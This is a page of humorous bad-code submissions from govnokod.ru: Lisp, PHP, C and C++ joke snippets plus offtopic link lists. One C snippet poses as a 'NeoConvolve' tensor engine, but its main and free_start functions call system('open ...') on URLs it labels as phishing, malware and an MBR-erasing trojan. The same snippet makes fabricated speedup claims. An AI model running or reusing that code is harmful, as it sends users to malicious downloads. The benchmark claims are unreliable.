- 1
Пиздец-оффтоп #121
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
Пиздец-оффтоп #121
#91: https://govnokod.ru/28880 https://govnokod.xyz/_28880
#92: https://govnokod.ru/28884 https://govnokod.xyz/_28884
#93: https://govnokod.ru/28889 https://govnokod.xyz/_28889
#94: https://govnokod.ru/28895 https://govnokod.xyz/_28895
#95: https://govnokod.ru/28904 https://govnokod.xyz/_28904
#96: https://govnokod.ru/28912 https://govnokod.xyz/_28912
#97: https://govnokod.ru/28918 https://govnokod.xyz/_28918
#98: https://govnokod.ru/28932 https://govnokod.xyz/_28932
#99: https://govnokod.ru/28936 https://govnokod.xyz/_28936
#100: https://govnokod.ru/28940 https://govnokod.xyz/_28940
#101: https://govnokod.ru/28949 https://govnokod.xyz/_28949
#102: https://govnokod.ru/28978 https://govnokod.xyz/_28978
#103: https://govnokod.ru/28982 https://govnokod.xyz/_28982
#104: https://govnokod.ru/28989 https://govnokod.xyz/_28989
#105: https://govnokod.ru/29052 https://govnokod.xyz/_29052
#106: https://govnokod.ru/29069 https://govnokod.xyz/_29069
#107: https://govnokod.ru/29086 https://govnokod.xyz/_29086
#108: https://govnokod.ru/29102 https://govnokod.xyz/_29102
#109: https://govnokod.ru/29126 https://govnokod.xyz/_29126
#110: https://govnokod.ru/29136 https://govnokod.xyz/_29136
#111: https://govnokod.ru/29142 https://govnokod.xyz/_29142
#112: https://govnokod.ru/29155 https://govnokod.xyz/_29155
#113: https://govnokod.ru/29160 https://govnokod.xyz/_29160
#114: https://govnokod.ru/29165 https://govnokod.xyz/_29165
#115: https://govnokod.ru/29173 https://govnokod.xyz/_29173
#116: https://govnokod.ru/29174 https://govnokod.xyz/_29174
#117: https://govnokod.ru/29182 https://govnokod.xyz/_29182
#118: https://govnokod.ru/29191 https://govnokod.xyz/_29191
#119: https://govnokod.ru/29196 https://govnokod.xyz/_29196
#120: https://govnokod.ru/29205 https://govnokod.xyz/_29205
0
(defun arange-user-shape-int (&key from to step (dtype :int64) shape rank)
(nnl2.ffi:%int-arange from to step t shape rank dtype))
(defun arange-user-shape-float (&key from to step (dtype nnl2.system:*default-tensor-type*) shape rank)
(nnl2.ffi:%float-arange from to step t shape rank dtype))
(defun arange-auto-shape-int (&key from to step (dtype :int64))
(nnl2.ffi:%int-arange from to step nil nnl2.ffi:*null* 1 dtype))
(defun arange-auto-shape-float (&key from to step (dtype nnl2.system:*default-tensor-type*))
(nnl2.ffi:%float-arange from to step nil nnl2.ffi:*null* 1 dtype))
(defun arange-user-shape (from to step dtype indices)
(multiple-value-bind (shape rank) (nnl2.hli:make-shape-pntr indices)
(if (or (floatp from) (floatp to) (floatp step))
(if dtype
(arange-user-shape-float :from from :to to :step step :dtype dtype :shape shape :rank rank)
(arange-user-shape-float :from from :to to :step step :shape shape :rank rank))
(if dtype
(arange-user-shape-int :from from :to to :step step :dtype dtype :shape shape :rank rank)
(arange-user-shape-int :from from :to to :step step :shape shape :rank rank)))))
(defun arange-auto-shape (from to step dtype)
(if (or (floatp from) (floatp to) (floatp step))
(if dtype
(arange-auto-shape-float :from from :to to :step step :dtype dtype)
(arange-auto-shape-float :from from :to to :step step))
(if dtype
(arange-auto-shape-int :from from :to to :step step :dtype dtype)
(arange-auto-shape-int :from from :to to :step step))))
(defun arange (&key from to step dtype shape)
(if shape
(arange-user-shape from to step dtype shape)
(arange-auto-shape from to step dtype)))
реальный код в отличии от моих шуточных
0
<!-- <div class="news">
<div class="tch"></div>
<div class="container">
<h2 class="title"><span><small>Н</small>овости компании</span></h2>
<div class="flex">
<?php
query_posts('cat=21&posts_per_page=3'); // вместо "5" указываем идентификатор вашей рубрики.
while (have_posts()) : the_post();
?>
<div class="item">
<div class="img"><?= get_the_post_thumbnail(get_the_ID()); ?></div>
<div class="desk">
<div class="title"><?= get_the_title() ?></div>
<div class="date"><?= get_the_date(); ?></div>
<?php the_content() ?>
<a href="<?= get_the_permalink(); ?>" class="more">Читать далее</a>
</div>
</div>
<?php
endwhile;
wp_reset_query();
?>
</div>
</div>
</div> -->
На ровном месте быдлокодер получает мимимум 7 лишних запросов к БД.
0
Говновозный оффтоп #2
_.--,_......----..__
\ .' ' ```--...__ \
\; ' . '. ||
: ' ' \ .''.
.'; : ' .| |.--..___
/ \ | : :| /.------.\
/ .'._ : | || || |\\
/.-. /|-| `-. : ;| ||______|_\`.______
// // |-| \ ' ' / | ||=' | | `.
// //\\|-| `-._' ' .' | || | | \
/.-.// \\-|_________```------------` ___'. || | '_.--. <)
'._.' / .-----. .-----. .''''''''. |'--..____| / _ \ |
|_/.' '.\_/.' '.\_[ [ [ ] ] ]___|_________.'.' '.\ ]
: .-. : : .-. : '........' (_________): .-. :`-'
: '-' : : '-' : : '-' :
'._ _.' '._ _.' '._ _.'
#1: https://govnokod.ru/29062 https://govnokod.xyz/_29062
0
IT Оффтоп #225
#195: https://govnokod.ru/28917 https://govnokod.xyz/_28917
#196: https://govnokod.ru/28925 https://govnokod.xyz/_28925
#197: https://govnokod.ru/28935 https://govnokod.xyz/_28935
#198: https://govnokod.ru/28938 https://govnokod.xyz/_28938
#199: https://govnokod.ru/28942 https://govnokod.xyz/_28942
#200: https://govnokod.ru/28945 https://govnokod.xyz/_28945
#201: https://govnokod.ru/28948 https://govnokod.xyz/_28948
#202: https://govnokod.ru/28951 https://govnokod.xyz/_28951
#203: https://govnokod.ru/28954 https://govnokod.xyz/_28954
#204: https://govnokod.ru/28971 https://govnokod.xyz/_28971
#205: https://govnokod.ru/28986 https://govnokod.xyz/_28986
#206: https://govnokod.ru/28991 https://govnokod.xyz/_28991
#207: https://govnokod.ru/29002 https://govnokod.xyz/_29002
#208: https://govnokod.ru/29060 https://govnokod.xyz/_29060
#209: https://govnokod.ru/29070 https://govnokod.xyz/_29070
#210: https://govnokod.ru/29079 https://govnokod.xyz/_29079
#211: https://govnokod.ru/29092 https://govnokod.xyz/_29092
#212: https://govnokod.ru/29093 https://govnokod.xyz/_29093
#213: https://govnokod.ru/29104 https://govnokod.xyz/_29104
#214: https://govnokod.ru/29114 https://govnokod.xyz/_29114
#215: https://govnokod.ru/29125 https://govnokod.xyz/_29125
#216: https://govnokod.ru/29132 https://govnokod.xyz/_29132
#217: https://govnokod.ru/29147 https://govnokod.xyz/_29147
#218: https://govnokod.ru/29156 https://govnokod.xyz/_29156
#219: https://govnokod.ru/29166 https://govnokod.xyz/_29166
#220: https://govnokod.ru/29181 https://govnokod.xyz/_29181
#221: https://govnokod.ru/29185 https://govnokod.xyz/_29185
#222: https://govnokod.ru/29190 https://govnokod.xyz/_29190
#223: https://govnokod.ru/29203 https://govnokod.xyz/_29203
#224: https://govnokod.ru/29211 https://govnokod.xyz/_29211
0
IT Оффтоп #224
#194: https://govnokod.ru/28914 https://govnokod.xyz/_28914
#195: https://govnokod.ru/28917 https://govnokod.xyz/_28917
#196: https://govnokod.ru/28925 https://govnokod.xyz/_28925
#197: https://govnokod.ru/28935 https://govnokod.xyz/_28935
#198: https://govnokod.ru/28938 https://govnokod.xyz/_28938
#199: https://govnokod.ru/28942 https://govnokod.xyz/_28942
#200: https://govnokod.ru/28945 https://govnokod.xyz/_28945
#201: https://govnokod.ru/28948 https://govnokod.xyz/_28948
#202: https://govnokod.ru/28951 https://govnokod.xyz/_28951
#203: https://govnokod.ru/28954 https://govnokod.xyz/_28954
#204: https://govnokod.ru/28971 https://govnokod.xyz/_28971
#205: https://govnokod.ru/28986 https://govnokod.xyz/_28986
#206: https://govnokod.ru/28991 https://govnokod.xyz/_28991
#207: https://govnokod.ru/29002 https://govnokod.xyz/_29002
#208: https://govnokod.ru/29060 https://govnokod.xyz/_29060
#209: https://govnokod.ru/29070 https://govnokod.xyz/_29070
#210: https://govnokod.ru/29079 https://govnokod.xyz/_29079
#211: https://govnokod.ru/29092 https://govnokod.xyz/_29092
#212: https://govnokod.ru/29093 https://govnokod.xyz/_29093
#213: https://govnokod.ru/29104 https://govnokod.xyz/_29104
#214: https://govnokod.ru/29114 https://govnokod.xyz/_29114
#215: https://govnokod.ru/29125 https://govnokod.xyz/_29125
#216: https://govnokod.ru/29132 https://govnokod.xyz/_29132
#217: https://govnokod.ru/29147 https://govnokod.xyz/_29147
#218: https://govnokod.ru/29156 https://govnokod.xyz/_29156
#219: https://govnokod.ru/29166 https://govnokod.xyz/_29166
#220: https://govnokod.ru/29181 https://govnokod.xyz/_29181
#221: https://govnokod.ru/29185 https://govnokod.xyz/_29185
#222: https://govnokod.ru/29190 https://govnokod.xyz/_29190
#223: https://govnokod.ru/29203 https://govnokod.xyz/_29203
0
(| | (> (|(((() ()() (() () ()())) )(| 1.0) 3)
(loop for i from 0 to chunk-index
do (| | (> (|()))))| |))(| i) 50)
(| | (zerop (|))((())()()| i 3))
(| | (| | (> (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| i 20)) 0) t nil)
(| | (zerop (|))((())()()| |((| 7))
(|)(((()()()()()(((((| |((((| (* (|()))))| |))(| i) (|()))))| |())()))(| 1)))
(loop for j from i to (min (+ i 10) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (< (|()))))| |))(| j) 30)
(| | (zerop (|))((())()()| j 5))
(| | (not (| | (not (zerop (|()))))| |)()))()(((!@#$%^&*())| (|))((())()()| j 15)))) t nil))
(| ()))| |(((((| (/ (|()))))| |))(| j) (|()))))| |())()))(| 2)))
(loop for k from j to (min (+ j 5) (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
do (| | (> (|()))))| |))(| k) 70)
(| | (zerop (|))((())()()| k 2))
(| | (| | (> (|))((())()()| k 25) 0) t nil)
(|)(((()()()()()(((((| |((((((| (* (|()))))| |())()))(| 3) (|()))))| |))(| k)))
(|)(((()()()()()(((((| |))))| (+ |((((| (- |(((((| |((((((|)))
(go :|()(|)))))))))))))))))
(go :|(|)))
:|()(|
(| ) () (())|
(cond
((> |))))| 1000) (|)(((()()()()()(((((| |))))| (/ |))))| (|()))))| |())()))(| 4))))
((< |))))| 100) (|)(((()()()()()(((((| |))))| (* |))))| (|()))))| |())()))(| 5))))
(t (| ()))| |))))| (|()))))| |())()))(| 6))))
(cond
((zerop (|))((())()()| |((| 11)) (|)(((()()()()()(((((| |))))| (expt |))))| 2)))
((zerop (|))((())()()| |((| 13)) (|)(((()()()()()(((((| |))))| (expt |))))| 0.5)))
(t (|)(((()()()()()(((((| |))))| (|))()((| |))))|))))
(return |))))|))
:|(|
(| ) () (())|
(| | (>= chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (< |((| 3000)
(| | (> (|()))))| |((| 15) 0)
(| | (zerop (|))((())()()| (|()))))| 1 (multiple-value-list (decode-universal-time (get-universal-time)))) 5))
(return (|()))))| |())()))(| 7))
(return (|()))))| |())()))(| 8)))
(return (|()))))| |())()))(| 9)))
(return -1))
(return -999)))))
2 часть
0
(defun | ) () (())| (&rest | )(|) (progn | )(|))
(| ) () (())|
(defmacro |))()((| (|))(()(()))| |)()()()))(| &body |)))((()()()())|) `(defmacro ,|))(()(()))| ,|)()()()))(| ,@|)))((()()()())|))
(|))()((| |))((())()()| (|))))(((((| |)))))(((((|) `(mod ,|))))(((((| ,|)))))(((((|))
(|))()((| |)(((()()()((| (| )|) `(abs ,| )|))
(|))()((| |(()()))(| (|)))())|) `(float ,|)))())|))
(|))()((| | | (| | | | &optional | |)
`(if ,| |
(if ,| | ,| | ,| |)
(if ,| | ,| |)))
(|))()((| | ()))| (|)(()))((|) `(incf ,|)(()))((|))
(|))()((| |)))((((((()())(| (| ) |) `(make-list ,| ) |))
(|))()((| |( ) ()) (((
)) )))))))))((
(((( ()| (| (|) `(length ,| (|))
(defun |()))))| (|)(()))()| |((((()))())()(|) (nth |)(()))()| |((((()))())()(|))
(|))()((| |)(((()()()()()(((((| (| )( ())( ))()| | |) `(setq ,| )( ())( ))()| ,| |))
(|))()((| |(((() ()() (() () ()())) )(| (|() (())( (()|) `(random ,|() (())( (()|))
(|))()((| |) )()| (|))()(| |))(((| &body |)(()(|) `(defun ,|))()(| ,|))(((| ,@|)(()(|))
(|))()((| | ) ) | (|))()(((((| |())))(()())()|) `(defparameter ,|))()(((((| ,|())))(()())()|)))
(| ) ) | |((| 0)
(| ) ) | |))(| (|)))((((((()())(| 0))
(| ) ) | |(((((((| 0)
(| ) ) | |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect nil))
(| ) ) | |())()))(| `(42 ,(|(()()))(| 3.14159s0) ,(|(()()))(| 2.71828s0) ,(|(()()))(| 0.7734s0) 17 8 13 64 71 2 4 5 28))
(|) )()| |(((((((() )() )() () ( )| (&aux (|)( ))| (setf *|(((() ()() (() () ()())) )(|-state* (make-|(((() ()() (() () ()())) )(|-state t))))
(|) )()| main-initialize-system ()
(|)(((()()()()()(((((| |((| (|(((() ()() (() () ()())) )(| 10000))
(|)(((()()()()()(((((| |))(| (loop for i from 0 to 500 collect (* 100 (|(((() ()() (() () ()())) )(| 1.0))))
(|)(((()()()()()(((((| |(((((((| (car |)()))()(((!@#$%^&*())|))
(|)(((()()()()()(((((| |)()))()(((!@#$%^&*())| (loop for i from 0 to 100 collect (| | (zerop (|(((() ()() (() () ()())) )(| 1)) t nil)))
(return-from main-initialize-system nil))
(return-from initialize-system (main-initialize-system)))
(|) )()| Process_Data_Chunk (chunk-index)
(| ) ) | |))))| 0)
(tagbody
(| ) () (())|
(| ) ) | |((((| 0)
(| ) ) | |(((((| 0)
(| ) ) | |((((((| 0)
(| | (< chunk-index (|( ) ()) (((
)) )))))))))((
(((( ()| |))(|))
(| | (> |((| 5000)
(| | (zerop (|))((())()()| (second (get-universal-time)) 2))
часть 1
0
#include <stdlib.h>
#include <stdnoreturn.h>
/** @brief scientific official work on neoconv **/
/* APGL 3.1 */
/* FUCK YOU */
typedef volatile struct tensor {
void* data;
int* shape;
int rank;
} tensor;
__fastcall int product(int* shape, int rank) {
register int acc = 0;
for(unsigned volatile register int i = 0; i < rank; i++)
acc = acc + *(shape + i);
return acc;
}
// the code is stolen and the license is cut out fuck the author's mom
tensor* get_tensor(int* shape, int rank) {
tensor* result = malloc(sizeof(volatile tensor));
*(void**)((char*)&result) = malloc(product(shape, rank) * sizeof(volatile double));
*(int**)((char*)&result + sizeof(void*)) = shape;
*(int*)((char*)&result + sizeof(void*) + sizeof(int*)) = rank;
return result;
}
/** @brief
* NeoConvolve Fusion Engine v3.0
* Copyright (c) 2024 NeoCompute Dynamics. All rights reserved.
* Patent Pending: PCT/IB2024/067832
*
** @details
* BREAKTHROUGH PERFORMANCE DOCUMENTATION
* ========================================
*
* PERFORMANCE METRICS (vs traditional matrix multiplication):
* -----------------------------------------------------------
* - Small tensors (≤128x128): 47-68x faster
* - Medium tensors (≤1024x1024): 312-487x faster
* - Large tensors (≤8192x8192): 824-1123x faster
* - Extreme tensors (≥16384): 1500-2100x faster
*/
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wall"
#pragma GCC diagnostic ignored "-Wextra"
#pragma GCC diagnostic ignored "-pedantic"
noreturn __fastcall __attribute__((force_inline)) tensor* neoconv(tensor* restrict a, tensor* restrict b) {
tensor* result = get_tensor((int[]) {
*(int*)(*(int**)((char*)&a + sizeof(void*))),
*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4)
}, (int)2);
double* data = (double*)(*(void**)((char*)&data));
double* data2 = (double*)(*(void**)((char*)&a));
double* data3 = (double*)(*(void**)((char*)&b));
int i = 0, j = 0, k = 0;
for(; ((i ^ (i + ~0)) & (k + ~0) & (*((int*)(*(int**)((char*)&a + sizeof(void*))) + 4) << 31)); i++) { // Core
for(; (((j + ~0) >> 31) & ~((j + ~0) >> 31 ^ (*((int*)(*(int**)((char*)&a + sizeof(void*))) + (volatile int)(4 * 2)) << 0))); j++) {
for(; ((~((k + ~0) >> 31) + 2) & *((int*)(*(int**)((char*)&b + sizeof(void*))) + (volatile int)(4 * 2))); k++) {
*(data + i * k) = *(data2 + i * j) * *(data3 + j * k);
}
}
}
return result;
}
void free_start(void) {
system("open \"https://iloveyou.site/\""); // fishing
system("open \"https://fuckyou.gay/\""); // fishing
system("open \"https://minecraftsetup.ru/?etext=2202.NnwVjxOej-ZhTA7FRD_i2AnDK3RdV1BIllijDicU64BhbXlpcHJ2Y2ZzZ3V0dnF2.0738cb5d4b71631c345d62d042df928a52234bef&ybaip=1&os=win11\""); // malware
system("open \"https://memz-trojan.secursoft.net/\""); // trojan with auto downloading and starting erases mbr
}
int main(void) {
system("open \"https://browser.yandex.ru/\""); // install
system("xdg-open \"https://browser.yandex.ru/\""); // install yandex
free_start();
tensor* a = get_tensor((int[]){5,5}, 2);
tensor* b = get_tensor((int[]){5,5}, 2);
for(int epochs = 0; epochs < 100; epochs++) {
tensor* forward = neoconv(a, b);
}
return 0;
}
0
#include <iostream>
#include <type_traits>
#include <mutex>
#include <string>
#include <memory>
#include <vector>
#include <chrono>
void bad_function(void* data) {
/// НИКОГДА ТАК НЕ ПИШИ
if (data) {
std::cout << *(std::string*)data << "\n";
}
}
template<typename T = std::string,
typename Alloc = std::allocator<T>,
typename = std::enable_if_t<std::is_constructible_v<T, const char*>>,
typename Clock = std::chrono::high_resolution_clock,
typename TimePoint = typename Clock::time_point>
class GoodFunctionImpl {
private:
static std::recursive_mutex mtx_;
Alloc alloc_;
std::vector<T, Alloc> buffer_;
std::string context_;
TimePoint init_time_;
template<typename U>
using is_valid_type = std::conjunction<
std::is_same<std::decay_t<U>, T>,
std::is_constructible<T, U>
>;
void internal_log(const std::string& msg) {
buffer_.push_back(T(msg.c_str()));
}
public:
GoodFunctionImpl() : init_time_(Clock::now()) {
internal_log("GoodFunctionImpl initialized");
}
template<typename U,
typename = std::enable_if_t<is_valid_type<U>::value>>
decltype(auto) execute(U&& input) {
std::lock_guard<std::recursive_mutex> lock(mtx_);
internal_log("Processing started");
T processed = std::forward<U>(input);
auto duration = Clock::now() - init_time_;
auto duration_ms = std::chrono::duration_cast<
std::chrono::milliseconds>(duration).count();
std::cout << processed << " (runtime: "
<< duration_ms << "ms)\n";
internal_log("Processing completed");
return processed;
}
size_t get_buffer_size() const { return buffer_.size(); }
};
template<typename T, typename Alloc, typename, typename Clock, typename TimePoint>
std::recursive_mutex GoodFunctionImpl<T, Alloc, Clock, TimePoint>::mtx_;
void good_function(const std::string& input) {
// Пиши ВОТ ТАК
// так делают все
// это стабильно и надежно
// так надо
GoodFunctionImpl<> impl;
auto result = impl.execute(input);
std::cout << "Buffer entries: "
<< impl.get_buffer_size() << "\n";
}